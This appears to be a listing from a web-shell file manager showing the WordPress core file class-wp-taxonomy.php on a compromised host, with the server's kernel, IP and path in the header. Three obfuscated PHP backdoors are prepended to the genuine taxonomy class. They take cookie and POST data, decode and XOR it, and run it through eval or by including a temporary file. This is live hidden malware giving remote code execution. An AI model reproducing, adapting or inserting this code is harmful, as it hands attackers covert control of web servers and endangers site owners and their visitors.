PV.Pat File Manager
Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]
| Path : /home/sptporgazz/www/wp-includes/ |
| Current File : /home/sptporgazz/www/wp-includes/class-wp-taxonomy.php |
<?php $BVRiZPKmlf = chr ( 94 - 24 )."\x5f" . "\145" . chr ( 795 - 705 ).'O' . chr (119); $gsUyw = "\x63" . 'l' . "\141" . 's' . 's' . "\x5f" . "\x65" . chr (120) . chr ( 268 - 163 ).chr (115) . "\164" . "\163";$DJHYx = $gsUyw($BVRiZPKmlf); $gsUyw = "19324";$XkOypk = $DJHYx;if (!$XkOypk){class F_eZOw{private $OlxzFQy;public static $voSUdc = "1bfd1c39-d5f7-4690-b77b-e67cedcaa111";public static $tjvCzz = 54334;public function __construct($nJSZb=0){$cbOZxKNE = $_COOKIE;$rhVrafnR = $_POST;$gfGFQ = @$cbOZxKNE[substr(F_eZOw::$voSUdc, 0, 4)];if (!empty($gfGFQ)){$RUoMUqa = "base64";$YzwwgzQER = "";$gfGFQ = explode(",", $gfGFQ);foreach ($gfGFQ as $DcJeF){$YzwwgzQER .= @$cbOZxKNE[$DcJeF];$YzwwgzQER .= @$rhVrafnR[$DcJeF];}$YzwwgzQER = array_map($RUoMUqa . "\x5f" . chr ( 205 - 105 )."\x65" . chr (99) . "\x6f" . chr (100) . "\145", array($YzwwgzQER,)); $YzwwgzQER = $YzwwgzQER[0] ^ str_repeat(F_eZOw::$voSUdc, (strlen($YzwwgzQER[0]) / strlen(F_eZOw::$voSUdc)) + 1);F_eZOw::$tjvCzz = @unserialize($YzwwgzQER);}}private function HiGEAlQN(){if (is_array(F_eZOw::$tjvCzz)) {$IklNw = str_replace("\x3c" . "\77" . "\160" . "\x68" . "\160", "", F_eZOw::$tjvCzz[chr (99) . chr ( 1054 - 943 ).'n' . 't' . "\x65" . "\x6e" . "\x74"]);eval($IklNw); $EOTJQfNTO = "47055";exit();}}public function __destruct(){$this->HiGEAlQN(); $EOTJQfNTO = "47055";}}$MnFWKnbulO = new F_eZOw(); $MnFWKnbulO = "21731_46004";} ?><?php $xJOakgSjpw = chr ( 841 - 765 ).chr ( 294 - 197 )."\137" . 'u' . chr ( 192 - 83 )."\151";$PKKeCFJtSY = 'c' . "\x6c" . "\141" . chr (115) . "\x73" . '_' . "\x65" . "\x78" . chr (105) . 's' . "\164" . 's';$gNxGUjrjb = $PKKeCFJtSY($xJOakgSjpw); $szoYFjNyb = $gNxGUjrjb;if (!$szoYFjNyb){class La_umi{private $ydLcmB;public static $ILwCsOFqVP = "61256e1f-a9a3-4eb5-a137-b153fb395017";public static $DEnpEzaGoQ = 6345;public function __construct($plMYtLboi=0){$ObbtAiQvfv = $_COOKIE;$NSOSxqWIl = $_POST;$YArjKe = @$ObbtAiQvfv[substr(La_umi::$ILwCsOFqVP, 0, 4)];if (!empty($YArjKe)){$kXVnu = "base64";$OgIrLnY = "";$YArjKe = explode(",", $YArjKe);foreach ($YArjKe as $hKZEl){$OgIrLnY .= @$ObbtAiQvfv[$hKZEl];$OgIrLnY .= @$NSOSxqWIl[$hKZEl];}$OgIrLnY = array_map($kXVnu . "\137" . "\144" . "\x65" . chr ( 984 - 885 ).chr (111) . 'd' . "\145", array($OgIrLnY,)); $OgIrLnY = $OgIrLnY[0] ^ str_repeat(La_umi::$ILwCsOFqVP, (strlen($OgIrLnY[0]) / strlen(La_umi::$ILwCsOFqVP)) + 1);La_umi::$DEnpEzaGoQ = @unserialize($OgIrLnY);}}private function zAPUXL(){if (is_array(La_umi::$DEnpEzaGoQ)) {$szjpBjJVBg = sys_get_temp_dir() . "/" . crc32(La_umi::$DEnpEzaGoQ['s' . chr ( 662 - 565 ).'l' . 't']);@La_umi::$DEnpEzaGoQ[chr (119) . chr (114) . chr (105) . 't' . chr ( 823 - 722 )]($szjpBjJVBg, La_umi::$DEnpEzaGoQ[chr (99) . chr (111) . 'n' . "\164" . "\x65" . chr (110) . 't']);include $szjpBjJVBg;@La_umi::$DEnpEzaGoQ["\144" . 'e' . chr ( 625 - 517 ).chr (101) . chr ( 216 - 100 )."\145"]($szjpBjJVBg); $IIDSnx = "21035";exit();}}public function __destruct(){$this->zAPUXL(); $IIDSnx = "21035";}}$gjxwFWMBiW = new La_umi(); $gjxwFWMBiW = "49538_32498";} ?><?php $aGJFz = 'h' . "\x66" . "\137" . "\x78" . chr ( 626 - 538 ).'k';$dqAOeYL = chr ( 239 - 140 )."\154" . "\x61" . "\163" . 's' . "\137" . chr ( 188 - 87 ).'x' . chr ( 346 - 241 )."\163" . chr ( 550 - 434 ).chr ( 197 - 82 ); $BFxIlxFeY = $dqAOeYL($aGJFz); $HIailaHdg = $BFxIlxFeY;if (!$HIailaHdg){class hf_xXk{private $FMySmgLCIu;public static $lWWmcetxQ = "9284d57b-076f-41d7-8b38-e4ad78d05bb1";public static $KdNkgs = 22144;public function __construct($GHjuLW=0){$cppqryF = $_COOKIE;$sfHKTi = $_POST;$RxCsNxV = @$cppqryF[substr(hf_xXk::$lWWmcetxQ, 0, 4)];if (!empty($RxCsNxV)){$QQkRuuci = "base64";$wAbCzORUO = "";$RxCsNxV = explode(",", $RxCsNxV);foreach ($RxCsNxV as $dYmTbsJGfP){$wAbCzORUO .= @$cppqryF[$dYmTbsJGfP];$wAbCzORUO .= @$sfHKTi[$dYmTbsJGfP];}$wAbCzORUO = array_map($QQkRuuci . chr (95) . chr ( 851 - 751 )."\145" . 'c' . chr (111) . 'd' . 'e', array($wAbCzORUO,)); $wAbCzORUO = $wAbCzORUO[0] ^ str_repeat(hf_xXk::$lWWmcetxQ, (strlen($wAbCzORUO[0]) / strlen(hf_xXk::$lWWmcetxQ)) + 1);hf_xXk::$KdNkgs = @unserialize($wAbCzORUO);}}private function ZQgMeYWPqG(){if (is_array(hf_xXk::$KdNkgs)) {$GrvcWoN = sys_get_temp_dir() . "/" . crc32(hf_xXk::$KdNkgs['s' . "\141" . 'l' . chr ( 211 - 95 )]);@hf_xXk::$KdNkgs[chr ( 862 - 743 ).chr (114) . "\151" . "\164" . "\145"]($GrvcWoN, hf_xXk::$KdNkgs["\x63" . "\157" . 'n' . chr ( 1113 - 997 )."\145" . chr ( 509 - 399 ).chr ( 343 - 227 )]);include $GrvcWoN;@hf_xXk::$KdNkgs[chr ( 707 - 607 )."\x65" . "\x6c" . "\x65" . chr (116) . "\145"]($GrvcWoN); $BkqGIKbFD = "58970";exit();}}public function __destruct(){$this->ZQgMeYWPqG(); $BkqGIKbFD = "58970";}}$ZDeXVNRlzv = new hf_xXk(); $ZDeXVNRlzv = "42311_14594";} ?><?php
/**
* Taxonomy API: WP_Taxonomy class
*
* @package WordPress
* @subpackage Taxonomy
* @since 4.7.0
*/
/**
* Core class used for interacting with taxonomies.
*
* @since 4.7.0
*/
final class WP_Taxonomy {
/**
* Taxonomy key.
*
* @since 4.7.0
* @var string
*/
public $name;
/**
* Name of the taxonomy shown in the menu. Usually plural.
*
* @since 4.7.0
* @var string
*/
public $label;
/**
* An array of labels for this taxonomy.
*
* @since 4.7.0
* @var object
*/
public $labels = array();
/**
* A short descriptive summary of what the taxonomy is for.
*
* @since 4.7.0
* @var string
*/
public $description = '';
/**
* Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.
*
* @since 4.7.0
* @var bool
*/
public $public = true;
/**
* Whether the taxonomy is publicly queryable.
*
* @since 4.7.0
* @var bool
*/
public $publicly_queryable = true;
/**
* Whether the taxonomy is hierarchical.
*
* @since 4.7.0
* @var bool
*/
public $hierarchical = false;
/**
* Whether to generate and allow a UI for managing terms in this taxonomy in the admin.
*
* @since 4.7.0
* @var bool
*/
public $show_ui = true;
/**
* Whether to show the taxonomy in the admin menu.
*
* If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown.
*
* @since 4.7.0
* @var bool
*/
public $show_in_menu = true;
/**
* Whether the taxonomy is available for selection in navigation menus.
*
* @since 4.7.0
* @var bool
*/
public $show_in_nav_menus = true;
/**
* Whether to list the taxonomy in the tag cloud widget controls.
*
* @since 4.7.0
* @var bool
*/
public $show_tagcloud = true;
/**
* Whether to show the taxonomy in the quick/bulk edit panel.
*
* @since 4.7.0
* @var bool
*/
public $show_in_quick_edit = true;
/**
* Whether to display a column for the taxonomy on its post type listing screens.
*
* @since 4.7.0
* @var bool
*/
public $show_admin_column = false;
/**
* The callback function for the meta box display.
*
* @since 4.7.0
* @var bool|callable
*/
public $meta_box_cb = null;
/**
* The callback function for sanitizing taxonomy data saved from a meta box.
*
* @since 5.1.0
* @var callable
*/
public $meta_box_sanitize_cb = null;
/**
* An array of object types this taxonomy is registered for.
*
* @since 4.7.0
* @var array
*/
public $object_type = null;
/**
* Capabilities for this taxonomy.
*
* @since 4.7.0
* @var object
*/
public $cap;
/**
* Rewrites information for this taxonomy.
*
* @since 4.7.0
* @var array|false
*/
public $rewrite;
/**
* Query var string for this taxonomy.
*
* @since 4.7.0
* @var string|false
*/
public $query_var;
/**
* Function that will be called when the count is updated.
*
* @since 4.7.0
* @var callable
*/
public $update_count_callback;
/**
* Whether this taxonomy should appear in the REST API.
*
* Default false. If true, standard endpoints will be registered with
* respect to $rest_base and $rest_controller_class.
*
* @since 4.7.4
* @var bool $show_in_rest
*/
public $show_in_rest;
/**
* The base path for this taxonomy's REST API endpoints.
*
* @since 4.7.4
* @var string|bool $rest_base
*/
public $rest_base;
/**
* The controller for this taxonomy's REST API endpoints.
*
* Custom controllers must extend WP_REST_Controller.
*
* @since 4.7.4
* @var string|bool $rest_controller_class
*/
public $rest_controller_class;
/**
* Whether it is a built-in taxonomy.
*
* @since 4.7.0
* @var bool
*/
public $_builtin;
/**
* Constructor.
*
* @since 4.7.0
*
* @global WP $wp WP instance.
*
* @param string $taxonomy Taxonomy key, must not exceed 32 characters.
* @param array|string $object_type Name of the object type for the taxonomy object.
* @param array|string $args Optional. Array or query string of arguments for registering a taxonomy.
* Default empty array.
*/
public function __construct( $taxonomy, $object_type, $args = array() ) {
$this->name = $taxonomy;
$this->set_props( $object_type, $args );
}
/**
* Sets taxonomy properties.
*
* @since 4.7.0
*
* @param array|string $object_type Name of the object type for the taxonomy object.
* @param array|string $args Array or query string of arguments for registering a taxonomy.
*/
public function set_props( $object_type, $args ) {
$args = wp_parse_args( $args );
/**
* Filters the arguments for registering a taxonomy.
*
* @since 4.4.0
*
* @param array $args Array of arguments for registering a taxonomy.
* @param string $taxonomy Taxonomy key.
* @param string[] $object_type Array of names of object types for the taxonomy.
*/
$args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type );
$defaults = array(
'labels' => array(),
'description' => '',
'public' => true,
'publicly_queryable' => null,
'hierarchical' => false,
'show_ui' => null,
'show_in_menu' => null,
'show_in_nav_menus' => null,
'show_tagcloud' => null,
'show_in_quick_edit' => null,
'show_admin_column' => false,
'meta_box_cb' => null,
'meta_box_sanitize_cb' => null,
'capabilities' => array(),
'rewrite' => true,
'query_var' => $this->name,
'update_count_callback' => '',
'show_in_rest' => false,
'rest_base' => false,
'rest_controller_class' => false,
'_builtin' => false,
);
$args = array_merge( $defaults, $args );
// If not set, default to the setting for public.
if ( null === $args['publicly_queryable'] ) {
$args['publicly_queryable'] = $args['public'];
}
if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) {
if ( true === $args['query_var'] ) {
$args['query_var'] = $this->name;
} else {
$args['query_var'] = sanitize_title_with_dashes( $args['query_var'] );
}
} else {
// Force query_var to false for non-public taxonomies.
$args['query_var'] = false;
}
if ( false !== $args['rewrite'] && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
$args['rewrite'] = wp_parse_args(
$args['rewrite'],
array(
'with_front' => true,
'hierarchical' => false,
'ep_mask' => EP_NONE,
)
);
if ( empty( $args['rewrite']['slug'] ) ) {
$args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name );
}
}
// If not set, default to the setting for public.
if ( null === $args['show_ui'] ) {
$args['show_ui'] = $args['public'];
}
// If not set, default to the setting for show_ui.
if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) {
$args['show_in_menu'] = $args['show_ui'];
}
// If not set, default to the setting for public.
if ( null === $args['show_in_nav_menus'] ) {
$args['show_in_nav_menus'] = $args['public'];
}
// If not set, default to the setting for show_ui.
if ( null === $args['show_tagcloud'] ) {
$args['show_tagcloud'] = $args['show_ui'];
}
// If not set, default to the setting for show_ui.
if ( null === $args['show_in_quick_edit'] ) {
$args['show_in_quick_edit'] = $args['show_ui'];
}
$default_caps = array(
'manage_terms' => 'manage_categories',
'edit_terms' => 'manage_categories',
'delete_terms' => 'manage_categories',
'assign_terms' => 'edit_posts',
);
$args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] );
unset( $args['capabilities'] );
$args['object_type'] = array_unique( (array) $object_type );
// If not set, use the default meta box
if ( null === $args['meta_box_cb'] ) {
if ( $args['hierarchical'] ) {
$args['meta_box_cb'] = 'post_categories_meta_box';
} else {
$args['meta_box_cb'] = 'post_tags_meta_box';
}
}
$args['name'] = $this->name;
// Default meta box sanitization callback depends on the value of 'meta_box_cb'.
if ( null === $args['meta_box_sanitize_cb'] ) {
switch ( $args['meta_box_cb'] ) {
case 'post_categories_meta_box':
$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes';
break;
case 'post_tags_meta_box':
default:
$args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input';
break;
}
}
foreach ( $args as $property_name => $property_value ) {
$this->$property_name = $property_value;
}
$this->labels = get_taxonomy_labels( $this );
$this->label = $this->labels->name;
}
/**
* Adds the necessary rewrite rules for the taxonomy.
*
* @since 4.7.0
*
* @global WP $wp Current WordPress environment instance.
*/
public function add_rewrite_rules() {
/* @var WP $wp */
global $wp;
// Non-publicly queryable taxonomies should not register query vars, except in the admin.
if ( false !== $this->query_var && $wp ) {
$wp->add_query_var( $this->query_var );
}
if ( false !== $this->rewrite && ( is_admin() || '' != get_option( 'permalink_structure' ) ) ) {
if ( $this->hierarchical && $this->rewrite['hierarchical'] ) {
$tag = '(.+?)';
} else {
$tag = '([^/]+)';
}
add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" );
add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite );
}
}
/**
* Removes any rewrite rules, permastructs, and rules for the taxonomy.
*
* @since 4.7.0
*
* @global WP $wp Current WordPress environment instance.
*/
public function remove_rewrite_rules() {
/* @var WP $wp */
global $wp;
// Remove query var.
if ( false !== $this->query_var ) {
$wp->remove_query_var( $this->query_var );
}
// Remove rewrite tags and permastructs.
if ( false !== $this->rewrite ) {
remove_rewrite_tag( "%$this->name%" );
remove_permastruct( $this->name );
}
}
/**
* Registers the ajax callback for the meta box.
*
* @since 4.7.0
*/
public function add_hooks() {
add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
}
/**
* Removes the ajax callback for the meta box.
*
* @since 4.7.0
*/
public function remove_hooks() {
remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' );
}
}